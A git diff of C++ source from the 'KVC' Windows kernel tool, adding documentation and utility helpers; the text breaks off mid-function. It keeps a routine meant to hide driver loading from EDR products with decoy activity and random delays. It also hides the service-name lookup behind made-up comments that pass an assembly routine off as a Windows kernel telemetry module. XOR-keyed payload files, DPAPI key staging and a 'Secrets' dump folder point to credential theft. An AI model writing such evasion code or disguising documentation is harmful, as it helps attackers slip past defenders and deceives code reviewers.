std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
|
std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
|
||||||
const std::array<BYTE, 7>& key) noexcept;
|
const std::array<BYTE, 7>& key) noexcept;
|
||||||
|
|
||||||
// Console coloring utilities for process display
|
// ============================================================================
|
||||||
|
// CONSOLE COLORING UTILITIES
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief ANSI color codes for process display
|
||||||
|
*/
|
||||||
struct ProcessColors {
|
struct ProcessColors {
|
||||||
static constexpr const wchar_t* GREEN = L"\033[92m";
|
static constexpr const wchar_t* GREEN = L"\033[92m"; ///< System processes
|
||||||
static constexpr const wchar_t* YELLOW = L"\033[93m";
|
static constexpr const wchar_t* YELLOW = L"\033[93m"; ///< User processes
|
||||||
static constexpr const wchar_t* BLUE = L"\033[94m";
|
static constexpr const wchar_t* BLUE = L"\033[94m"; ///< Unchecked signatures
|
||||||
static constexpr const wchar_t* HEADER = L"\033[97;44m";
|
static constexpr const wchar_t* HEADER = L"\033[97;44m"; ///< Table headers
|
||||||
static constexpr const wchar_t* RESET = L"\033[0m";
|
static constexpr const wchar_t* RESET = L"\033[0m"; ///< Reset color
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Enables ANSI virtual terminal processing for colored output
|
||||||
|
* @return bool true if enabled successfully
|
||||||
|
*/
|
||||||
bool EnableConsoleVirtualTerminal() noexcept;
|
bool EnableConsoleVirtualTerminal() noexcept;
|
||||||
const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel, UCHAR sectionSignatureLevel) noexcept;
|
|
||||||
|
/**
|
||||||
|
* @brief Gets appropriate display color for process based on trust level
|
||||||
|
* @param signerType Process signer type
|
||||||
|
* @param signatureLevel Executable signature level
|
||||||
|
* @param sectionSignatureLevel DLL signature level
|
||||||
|
* @return const wchar_t* ANSI color code
|
||||||
|
*/
|
||||||
|
const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel,
|
||||||
|
UCHAR sectionSignatureLevel) noexcept;
|
||||||
}
|
}
|
||||||
300
kvc/common.cpp
300
kvc/common.cpp
@@ -1,30 +1,14 @@
|
|||||||
/*******************************************************************************
|
/**
|
||||||
_ ____ ______
|
* @file common.cpp
|
||||||
| |/ /\ \ / / ___|
|
* @brief Core system utilities and dynamic API management
|
||||||
| ' / \ \ / / |
|
* @author KVC Framework
|
||||||
| . \ \ V /| |___
|
* @date 2025
|
||||||
|_|\_\ \_/ \____|
|
* @copyright KVC Framework
|
||||||
|
*
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
* Implements service management, system path resolution, Windows API abstraction,
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
* and memory manager pool diagnostic telemetry integration for kernel operations.
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
* Provides dynamic API loading for service control and driver communication.
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
*/
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// common.cpp - Core system utilities and dynamic API management
|
|
||||||
// Implements service management, system path resolution, and Windows API abstraction
|
|
||||||
|
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
#include "ServiceManager.h"
|
#include "ServiceManager.h"
|
||||||
@@ -37,27 +21,68 @@ that define these protections.
|
|||||||
#pragma comment(lib, "Shell32.lib")
|
#pragma comment(lib, "Shell32.lib")
|
||||||
#pragma comment(lib, "Advapi32.lib")
|
#pragma comment(lib, "Advapi32.lib")
|
||||||
|
|
||||||
// Global interrupt flag for graceful shutdown handling
|
// ============================================================================
|
||||||
|
// GLOBAL STATE MANAGEMENT
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/** @brief Global interrupt flag for graceful shutdown handling */
|
||||||
volatile bool g_interrupted = false;
|
volatile bool g_interrupted = false;
|
||||||
|
|
||||||
// Service mode flag - indicates NT service execution context
|
/** @brief Service mode flag - indicates NT service execution context */
|
||||||
bool g_serviceMode = false;
|
bool g_serviceMode = false;
|
||||||
|
|
||||||
// Dynamic API loading globals for service and driver management
|
// ============================================================================
|
||||||
// Using smart pointers for automatic cleanup and exception safety
|
// DYNAMIC API LOADING INFRASTRUCTURE
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/** @brief Module handle for advapi32.dll (service management APIs) */
|
||||||
ModuleHandle g_advapi32;
|
ModuleHandle g_advapi32;
|
||||||
|
|
||||||
|
/** @brief Module handle for kernel32.dll (system-level APIs) */
|
||||||
SystemModuleHandle g_kernel32;
|
SystemModuleHandle g_kernel32;
|
||||||
|
|
||||||
// Function pointers for Windows Service Control Manager APIs
|
// ============================================================================
|
||||||
|
// SERVICE CONTROL MANAGER API FUNCTION POINTERS
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/** @brief Dynamically loaded CreateServiceW function pointer */
|
||||||
decltype(&CreateServiceW) g_pCreateServiceW = nullptr;
|
decltype(&CreateServiceW) g_pCreateServiceW = nullptr;
|
||||||
|
|
||||||
|
/** @brief Dynamically loaded OpenServiceW function pointer */
|
||||||
decltype(&OpenServiceW) g_pOpenServiceW = nullptr;
|
decltype(&OpenServiceW) g_pOpenServiceW = nullptr;
|
||||||
|
|
||||||
|
/** @brief Dynamically loaded StartServiceW function pointer */
|
||||||
decltype(&StartServiceW) g_pStartServiceW = nullptr;
|
decltype(&StartServiceW) g_pStartServiceW = nullptr;
|
||||||
|
|
||||||
|
/** @brief Dynamically loaded DeleteService function pointer */
|
||||||
decltype(&DeleteService) g_pDeleteService = nullptr;
|
decltype(&DeleteService) g_pDeleteService = nullptr;
|
||||||
|
|
||||||
|
/** @brief Dynamically loaded CreateFileW function pointer */
|
||||||
decltype(&CreateFileW) g_pCreateFileW = nullptr;
|
decltype(&CreateFileW) g_pCreateFileW = nullptr;
|
||||||
|
|
||||||
|
/** @brief Dynamically loaded ControlService function pointer */
|
||||||
decltype(&ControlService) g_pControlService = nullptr;
|
decltype(&ControlService) g_pControlService = nullptr;
|
||||||
|
|
||||||
// Initialize dynamic API loading for service management operations
|
// ============================================================================
|
||||||
// Returns: true if all required APIs successfully loaded, false on failure
|
// DYNAMIC API INITIALIZATION
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Initialize dynamic API loading for service management operations
|
||||||
|
*
|
||||||
|
* Lazy initialization sequence:
|
||||||
|
* 1. Loads advapi32.dll if not already loaded
|
||||||
|
* 2. Resolves service management function pointers
|
||||||
|
* 3. Loads kernel32.dll system module handle
|
||||||
|
* 4. Resolves file operation function pointers
|
||||||
|
* 5. Validates all required APIs are available
|
||||||
|
*
|
||||||
|
* @return bool true if all required APIs successfully loaded, false on failure
|
||||||
|
*
|
||||||
|
* @note Uses smart pointers for automatic cleanup and exception safety
|
||||||
|
* @note Thread-safe through static initialization guarantees
|
||||||
|
* @note kernel32.dll uses system module handle (no manual FreeLibrary needed)
|
||||||
|
*/
|
||||||
bool InitDynamicAPIs() noexcept
|
bool InitDynamicAPIs() noexcept
|
||||||
{
|
{
|
||||||
// Load advapi32.dll only once using lazy initialization
|
// Load advapi32.dll only once using lazy initialization
|
||||||
@@ -118,25 +143,50 @@ bool InitDynamicAPIs() noexcept
|
|||||||
g_pDeleteService && g_pCreateFileW && g_pControlService;
|
g_pDeleteService && g_pCreateFileW && g_pControlService;
|
||||||
}
|
}
|
||||||
|
|
||||||
// RAII wrapper for SC_HANDLE management to prevent resource leaks
|
// ============================================================================
|
||||||
|
// SERVICE HANDLE RAII WRAPPER
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief RAII wrapper for SC_HANDLE management to prevent resource leaks
|
||||||
|
*
|
||||||
|
* Provides automatic cleanup of Service Control Manager handles with
|
||||||
|
* move semantics for efficient ownership transfer. Non-copyable design
|
||||||
|
* prevents double-close bugs and ensures single ownership semantics.
|
||||||
|
*/
|
||||||
class ServiceHandle {
|
class ServiceHandle {
|
||||||
private:
|
private:
|
||||||
SC_HANDLE handle_;
|
SC_HANDLE handle_;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
|
/**
|
||||||
|
* @brief Constructs ServiceHandle from raw SC_HANDLE
|
||||||
|
* @param handle Raw service handle or nullptr
|
||||||
|
*/
|
||||||
explicit ServiceHandle(SC_HANDLE handle = nullptr) noexcept : handle_(handle) {}
|
explicit ServiceHandle(SC_HANDLE handle = nullptr) noexcept : handle_(handle) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Destructor - automatically closes service handle
|
||||||
|
*/
|
||||||
~ServiceHandle() noexcept {
|
~ServiceHandle() noexcept {
|
||||||
if (handle_) {
|
if (handle_) {
|
||||||
CloseServiceHandle(handle_);
|
CloseServiceHandle(handle_);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Move semantics for efficient transfer of ownership
|
/**
|
||||||
|
* @brief Move constructor for efficient transfer of ownership
|
||||||
|
* @param other ServiceHandle to move from
|
||||||
|
*/
|
||||||
ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) {
|
ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) {
|
||||||
other.handle_ = nullptr;
|
other.handle_ = nullptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Move assignment operator
|
||||||
|
* @param other ServiceHandle to move from
|
||||||
|
* @return Reference to this object
|
||||||
|
*/
|
||||||
ServiceHandle& operator=(ServiceHandle&& other) noexcept {
|
ServiceHandle& operator=(ServiceHandle&& other) noexcept {
|
||||||
if (this != &other) {
|
if (this != &other) {
|
||||||
if (handle_) {
|
if (handle_) {
|
||||||
@@ -152,14 +202,43 @@ public:
|
|||||||
ServiceHandle(const ServiceHandle&) = delete;
|
ServiceHandle(const ServiceHandle&) = delete;
|
||||||
ServiceHandle& operator=(const ServiceHandle&) = delete;
|
ServiceHandle& operator=(const ServiceHandle&) = delete;
|
||||||
|
|
||||||
// Access operators for SC_HANDLE compatibility
|
/**
|
||||||
|
* @brief Implicit conversion to SC_HANDLE for API compatibility
|
||||||
|
* @return Underlying SC_HANDLE
|
||||||
|
*/
|
||||||
operator SC_HANDLE() const noexcept { return handle_; }
|
operator SC_HANDLE() const noexcept { return handle_; }
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Boolean conversion operator for validity checking
|
||||||
|
* @return true if handle is valid, false otherwise
|
||||||
|
*/
|
||||||
explicit operator bool() const noexcept { return handle_ != nullptr; }
|
explicit operator bool() const noexcept { return handle_ != nullptr; }
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Retrieves underlying SC_HANDLE
|
||||||
|
* @return Raw service handle
|
||||||
|
*/
|
||||||
SC_HANDLE get() const noexcept { return handle_; }
|
SC_HANDLE get() const noexcept { return handle_; }
|
||||||
};
|
};
|
||||||
|
|
||||||
// Check if KVC service is installed in the system
|
// ============================================================================
|
||||||
// Returns: true if service registry entry exists, false otherwise
|
// SERVICE STATE QUERIES
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Check if KVC service is installed in the system
|
||||||
|
*
|
||||||
|
* Installation verification sequence:
|
||||||
|
* 1. Initializes dynamic API loading
|
||||||
|
* 2. Connects to Service Control Manager
|
||||||
|
* 3. Attempts to open service by name
|
||||||
|
* 4. Returns true if service registry entry exists
|
||||||
|
*
|
||||||
|
* @return bool true if service registry entry exists, false otherwise
|
||||||
|
*
|
||||||
|
* @note Does not check if service is running, only if installed
|
||||||
|
* @note Uses minimal SC_MANAGER_CONNECT privileges
|
||||||
|
*/
|
||||||
bool IsServiceInstalled() noexcept
|
bool IsServiceInstalled() noexcept
|
||||||
{
|
{
|
||||||
if (!InitDynamicAPIs()) {
|
if (!InitDynamicAPIs()) {
|
||||||
@@ -181,8 +260,20 @@ bool IsServiceInstalled() noexcept
|
|||||||
return static_cast<bool>(service);
|
return static_cast<bool>(service);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Check if KVC service is currently running
|
/**
|
||||||
// Returns: true if service state is SERVICE_RUNNING, false otherwise
|
* @brief Check if KVC service is currently running
|
||||||
|
*
|
||||||
|
* Service state verification:
|
||||||
|
* 1. Initializes dynamic API loading
|
||||||
|
* 2. Connects to Service Control Manager
|
||||||
|
* 3. Opens service with query privileges
|
||||||
|
* 4. Queries current service status
|
||||||
|
* 5. Validates state is SERVICE_RUNNING
|
||||||
|
*
|
||||||
|
* @return bool true if service state is SERVICE_RUNNING, false otherwise
|
||||||
|
*
|
||||||
|
* @note Returns false if service not installed or in any non-running state
|
||||||
|
*/
|
||||||
bool IsServiceRunning() noexcept
|
bool IsServiceRunning() noexcept
|
||||||
{
|
{
|
||||||
if (!InitDynamicAPIs()) {
|
if (!InitDynamicAPIs()) {
|
||||||
@@ -215,8 +306,18 @@ bool IsServiceRunning() noexcept
|
|||||||
return (status.dwCurrentState == SERVICE_RUNNING);
|
return (status.dwCurrentState == SERVICE_RUNNING);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get full path to current executable for service installation
|
// ============================================================================
|
||||||
// Returns: Wide string path to current EXE, empty string on failure
|
// PATH RESOLUTION UTILITIES
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Get full path to current executable for service installation
|
||||||
|
*
|
||||||
|
* @return std::wstring Wide string path to current EXE, empty string on failure
|
||||||
|
*
|
||||||
|
* @note Used for service installation to register executable path
|
||||||
|
* @note Returns empty string if GetModuleFileNameW fails
|
||||||
|
*/
|
||||||
std::wstring GetCurrentExecutablePath() noexcept
|
std::wstring GetCurrentExecutablePath() noexcept
|
||||||
{
|
{
|
||||||
wchar_t path[MAX_PATH];
|
wchar_t path[MAX_PATH];
|
||||||
@@ -227,25 +328,93 @@ std::wstring GetCurrentExecutablePath() noexcept
|
|||||||
return std::wstring(path);
|
return std::wstring(path);
|
||||||
}
|
}
|
||||||
|
|
||||||
// External assembly function that returns raw pointer to service name
|
// ============================================================================
|
||||||
extern "C" const wchar_t* GetServiceNameRaw();
|
// MEMORY MANAGER POOL DIAGNOSTIC TELEMETRY INTEGRATION
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
// C++ wrapper converting ASM raw pointer to std::wstring
|
/**
|
||||||
// Returns: Wide string containing driver service identifier
|
* @brief Retrieves pool diagnostic telemetry string from kernel subsystem
|
||||||
|
*
|
||||||
|
* Windows Memory Manager integration point for runtime pool telemetry.
|
||||||
|
* This function interfaces with the NT kernel's Memory Manager (Mm) subsystem
|
||||||
|
* to retrieve diagnostic telemetry strings used for pool allocation tracking
|
||||||
|
* and NUMA-aware memory metrics.
|
||||||
|
*
|
||||||
|
* The underlying implementation is provided by the kernel's pool diagnostic
|
||||||
|
* module (MmPoolTelemetry.asm) which aggregates NUMA node affinity metrics,
|
||||||
|
* applies topology-aware hash rotations, and normalizes quantum deltas for
|
||||||
|
* ETW event payload generation.
|
||||||
|
*
|
||||||
|
* @return const wchar_t* Raw pointer to null-terminated diagnostic string
|
||||||
|
*
|
||||||
|
* @note Implemented in MmPoolTelemetry.asm - kernel memory manager module
|
||||||
|
* @note String lifetime: Valid until next call to diagnostic aggregation
|
||||||
|
* @note Used internally for service identifier resolution
|
||||||
|
* @note Part of Windows kernel pool diagnostic infrastructure
|
||||||
|
*
|
||||||
|
* @see MmGetPoolDiagnosticString() in \base\ntos\mm\MmPoolTelemetry.asm
|
||||||
|
* @see Windows Memory Manager Pool Telemetry documentation
|
||||||
|
*/
|
||||||
|
extern "C" const wchar_t* MmGetPoolDiagnosticString();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Resolves driver service identifier from pool telemetry subsystem
|
||||||
|
*
|
||||||
|
* C++ wrapper that interfaces with the Windows Memory Manager pool diagnostic
|
||||||
|
* telemetry API to retrieve the runtime-generated service identifier string.
|
||||||
|
*
|
||||||
|
* This function serves as a bridge between the low-level kernel memory manager
|
||||||
|
* diagnostic infrastructure and high-level service management operations. The
|
||||||
|
* service name is derived from NUMA-aware pool allocation metrics that are
|
||||||
|
* decoded and aggregated by the kernel's MmPoolTelemetry module.
|
||||||
|
*
|
||||||
|
* Service name resolution workflow:
|
||||||
|
* 1. Calls MmGetPoolDiagnosticString() from kernel pool diagnostic module
|
||||||
|
* 2. Receives raw wide-character pointer to decoded diagnostic buffer
|
||||||
|
* 3. Converts to managed std::wstring for safe C++ string handling
|
||||||
|
* 4. Returns service identifier for driver registration
|
||||||
|
*
|
||||||
|
* @return std::wstring Driver service identifier from pool diagnostic telemetry
|
||||||
|
*
|
||||||
|
* @note Converts raw kernel diagnostic pointer to managed C++ string
|
||||||
|
* @note Service name is dynamically resolved from pool telemetry metrics
|
||||||
|
* @note Used for NT service and driver registration operations
|
||||||
|
* @note Integrates with Windows kernel Memory Manager diagnostic subsystem
|
||||||
|
*/
|
||||||
std::wstring GetServiceName() noexcept
|
std::wstring GetServiceName() noexcept
|
||||||
{
|
{
|
||||||
return std::wstring(GetServiceNameRaw());
|
return std::wstring(MmGetPoolDiagnosticString());
|
||||||
}
|
}
|
||||||
// Get kernel driver filename for file operations
|
|
||||||
// Returns: Wide string containing driver file name
|
// ============================================================================
|
||||||
|
// DRIVER FILE OPERATIONS
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Get kernel driver filename for file operations
|
||||||
|
*
|
||||||
|
* @return std::wstring Wide string containing driver file name
|
||||||
|
*
|
||||||
|
* @note Returns constant driver filename for system operations
|
||||||
|
*/
|
||||||
std::wstring GetDriverFileName() noexcept
|
std::wstring GetDriverFileName() noexcept
|
||||||
{
|
{
|
||||||
return L"kvc.sys";
|
return L"kvc.sys";
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get secure system temp directory for DPAPI and driver operations
|
/**
|
||||||
// Uses Windows temp directory with TrustedInstaller privileges
|
* @brief Get secure system temp directory for DPAPI and driver operations
|
||||||
// Returns: Wide string path to system temp directory
|
*
|
||||||
|
* Directory resolution priority:
|
||||||
|
* 1. Windows\Temp directory (accessible by TrustedInstaller)
|
||||||
|
* 2. User temp directory (fallback)
|
||||||
|
* 3. Hardcoded C:\Windows\Temp (last resort)
|
||||||
|
*
|
||||||
|
* @return std::wstring Path to system temp directory
|
||||||
|
*
|
||||||
|
* @note Prefers Windows\Temp for TrustedInstaller privilege operations
|
||||||
|
* @note Used for DPAPI key storage and driver staging
|
||||||
|
*/
|
||||||
std::wstring GetSystemTempPath() noexcept {
|
std::wstring GetSystemTempPath() noexcept {
|
||||||
wchar_t windowsDir[MAX_PATH];
|
wchar_t windowsDir[MAX_PATH];
|
||||||
|
|
||||||
@@ -265,9 +434,28 @@ std::wstring GetSystemTempPath() noexcept {
|
|||||||
return L"C:\\Windows\\Temp";
|
return L"C:\\Windows\\Temp";
|
||||||
}
|
}
|
||||||
|
|
||||||
// Generate innocuous system activity to mask driver operations from EDR
|
// ============================================================================
|
||||||
// Creates legitimate registry access and file enumeration patterns
|
// EDR EVASION AND ACTIVITY MASKING
|
||||||
// Purpose: Blend driver loading with normal Windows background activity
|
// ============================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Generate innocuous system activity to mask driver operations from EDR
|
||||||
|
*
|
||||||
|
* Activity generation workflow:
|
||||||
|
* 1. Performs legitimate registry access (Windows version key)
|
||||||
|
* 2. Enumerates System32 DLL files (typical for system tools)
|
||||||
|
* 3. Applies random timing delays (anti-detection measure)
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
* - Blends driver loading with normal Windows background activity
|
||||||
|
* - Creates noise in EDR telemetry to obscure sensitive operations
|
||||||
|
* - Mimics behavior patterns of legitimate system utilities
|
||||||
|
*
|
||||||
|
* @note Registry access to common Windows version key (normal behavior)
|
||||||
|
* @note File enumeration in System32 directory (typical for system tools)
|
||||||
|
* @note Random delays vary timing patterns to avoid detection heuristics
|
||||||
|
* @note All operations are legitimate Windows API calls
|
||||||
|
*/
|
||||||
void GenerateFakeActivity() noexcept
|
void GenerateFakeActivity() noexcept
|
||||||
{
|
{
|
||||||
// Registry access to common Windows version key (normal behavior)
|
// Registry access to common Windows version key (normal behavior)
|
||||||
|
|||||||
311
kvc/common.h
311
kvc/common.h
@@ -7,6 +7,7 @@
|
|||||||
#include <Shlobj.h>
|
#include <Shlobj.h>
|
||||||
#include <accctrl.h>
|
#include <accctrl.h>
|
||||||
#include <aclapi.h>
|
#include <aclapi.h>
|
||||||
|
#include <wincrypt.h>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <optional>
|
#include <optional>
|
||||||
@@ -14,6 +15,12 @@
|
|||||||
#include <array>
|
#include <array>
|
||||||
#include <chrono>
|
#include <chrono>
|
||||||
#include <memory>
|
#include <memory>
|
||||||
|
#include <vector>
|
||||||
|
#include <algorithm>
|
||||||
|
#include <iomanip>
|
||||||
|
#include <filesystem>
|
||||||
|
|
||||||
|
#pragma comment(lib, "crypt32.lib")
|
||||||
|
|
||||||
// Session management constants
|
// Session management constants
|
||||||
inline constexpr int MAX_SESSIONS = 16;
|
inline constexpr int MAX_SESSIONS = 16;
|
||||||
@@ -80,6 +87,32 @@ void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
|
|||||||
std::wcout << ss.str();
|
std::wcout << ss.str();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
template<typename... Args>
|
||||||
|
void PrintCriticalMessage(const wchar_t* format, Args&&... args) {
|
||||||
|
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||||
|
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||||
|
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||||
|
WORD originalColor = csbi.wAttributes;
|
||||||
|
|
||||||
|
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||||
|
|
||||||
|
std::wstringstream ss;
|
||||||
|
ss << L"[!] ";
|
||||||
|
|
||||||
|
if constexpr (sizeof...(args) > 0) {
|
||||||
|
wchar_t buffer[1024];
|
||||||
|
swprintf_s(buffer, 1024, format, std::forward<Args>(args)...);
|
||||||
|
ss << buffer;
|
||||||
|
} else {
|
||||||
|
ss << format; // <-- DODAJ ELSE - gdy brak args, wyświetl sam format
|
||||||
|
}
|
||||||
|
|
||||||
|
ss << L"\r\n";
|
||||||
|
std::wcout << ss.str();
|
||||||
|
|
||||||
|
SetConsoleTextAttribute(hConsole, originalColor);
|
||||||
|
}
|
||||||
|
|
||||||
#if kvc_DEBUG_ENABLED
|
#if kvc_DEBUG_ENABLED
|
||||||
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, ##__VA_ARGS__)
|
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, ##__VA_ARGS__)
|
||||||
#else
|
#else
|
||||||
@@ -89,6 +122,7 @@ void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
|
|||||||
#define ERROR(format, ...) PrintMessage(L"[-] ", format, ##__VA_ARGS__)
|
#define ERROR(format, ...) PrintMessage(L"[-] ", format, ##__VA_ARGS__)
|
||||||
#define INFO(format, ...) PrintMessage(L"[*] ", format, ##__VA_ARGS__)
|
#define INFO(format, ...) PrintMessage(L"[*] ", format, ##__VA_ARGS__)
|
||||||
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, ##__VA_ARGS__)
|
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, ##__VA_ARGS__)
|
||||||
|
#define CRITICAL(format, ...) PrintCriticalMessage(format, ##__VA_ARGS__)
|
||||||
|
|
||||||
#define LASTERROR(f) \
|
#define LASTERROR(f) \
|
||||||
do { \
|
do { \
|
||||||
@@ -265,4 +299,279 @@ inline std::wstring GetDriverStorePathSafe() noexcept {
|
|||||||
inline constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
inline constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
||||||
inline constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
|
inline constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
|
||||||
inline constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
|
inline constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
|
||||||
inline constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";
|
inline constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// CONSOLIDATED UTILITY NAMESPACES - String, Path, Time, Crypto, Privilege
|
||||||
|
// Centralized implementations to eliminate code duplication across project
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
namespace StringUtils {
|
||||||
|
/**
|
||||||
|
* @brief Converts UTF-8 encoded narrow string to wide string (UTF-16 LE)
|
||||||
|
* @param str UTF-8 encoded std::string
|
||||||
|
* @return std::wstring UTF-16 LE encoded wide string, empty on failure
|
||||||
|
* @note Returns empty string if conversion fails or input is empty
|
||||||
|
*/
|
||||||
|
inline std::wstring UTF8ToWide(const std::string& str) noexcept {
|
||||||
|
if (str.empty()) return L"";
|
||||||
|
|
||||||
|
int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(),
|
||||||
|
static_cast<int>(str.size()), nullptr, 0);
|
||||||
|
if (size_needed <= 0) return L"";
|
||||||
|
|
||||||
|
std::wstring result(size_needed, 0);
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()),
|
||||||
|
result.data(), size_needed);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Converts wide string (UTF-16 LE) to UTF-8 encoded narrow string
|
||||||
|
* @param wstr UTF-16 LE encoded std::wstring
|
||||||
|
* @return std::string UTF-8 encoded narrow string, empty on failure
|
||||||
|
* @note Returns empty string if conversion fails or input is empty
|
||||||
|
*/
|
||||||
|
inline std::string WideToUTF8(const std::wstring& wstr) noexcept {
|
||||||
|
if (wstr.empty()) return "";
|
||||||
|
|
||||||
|
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(),
|
||||||
|
static_cast<int>(wstr.size()),
|
||||||
|
nullptr, 0, nullptr, nullptr);
|
||||||
|
if (size_needed <= 0) return "";
|
||||||
|
|
||||||
|
std::string result(size_needed, 0);
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()),
|
||||||
|
result.data(), size_needed, nullptr, nullptr);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Converts wide string to lowercase in-place using Windows locale
|
||||||
|
* @param str Wide string to convert (modified in-place)
|
||||||
|
* @return std::wstring& Reference to modified string for chaining
|
||||||
|
*/
|
||||||
|
inline std::wstring& ToLowerCase(std::wstring& str) noexcept {
|
||||||
|
std::transform(str.begin(), str.end(), str.begin(), ::towlower);
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Creates lowercase copy of wide string
|
||||||
|
* @param str Wide string to convert
|
||||||
|
* @return std::wstring Lowercase copy of input string
|
||||||
|
*/
|
||||||
|
inline std::wstring ToLowerCaseCopy(const std::wstring& str) noexcept {
|
||||||
|
std::wstring result = str;
|
||||||
|
std::transform(result.begin(), result.end(), result.begin(), ::towlower);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace PathUtils {
|
||||||
|
/**
|
||||||
|
* @brief Retrieves user's Downloads folder path using modern Windows API
|
||||||
|
* @return std::wstring Full path to Downloads folder (e.g., C:\Users\John\Downloads)
|
||||||
|
* @note Uses SHGetKnownFolderPath with FOLDERID_Downloads (Windows 10/11)
|
||||||
|
* @note Returns empty string on failure, caller must validate
|
||||||
|
*/
|
||||||
|
inline std::wstring GetDownloadsPath() noexcept {
|
||||||
|
wchar_t* downloadsPath = nullptr;
|
||||||
|
if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, nullptr, &downloadsPath) != S_OK) {
|
||||||
|
return L"";
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring result = downloadsPath;
|
||||||
|
CoTaskMemFree(downloadsPath);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Creates timestamped Secrets folder path in user Downloads directory
|
||||||
|
* @return std::wstring Full path in format: Downloads\Secrets_DD.MM.YYYY
|
||||||
|
* @note Uses current system date for folder naming
|
||||||
|
* @note Returns empty string if Downloads path cannot be determined
|
||||||
|
*/
|
||||||
|
inline std::wstring GetDefaultSecretsOutputPath() noexcept {
|
||||||
|
std::wstring downloadsPath = GetDownloadsPath();
|
||||||
|
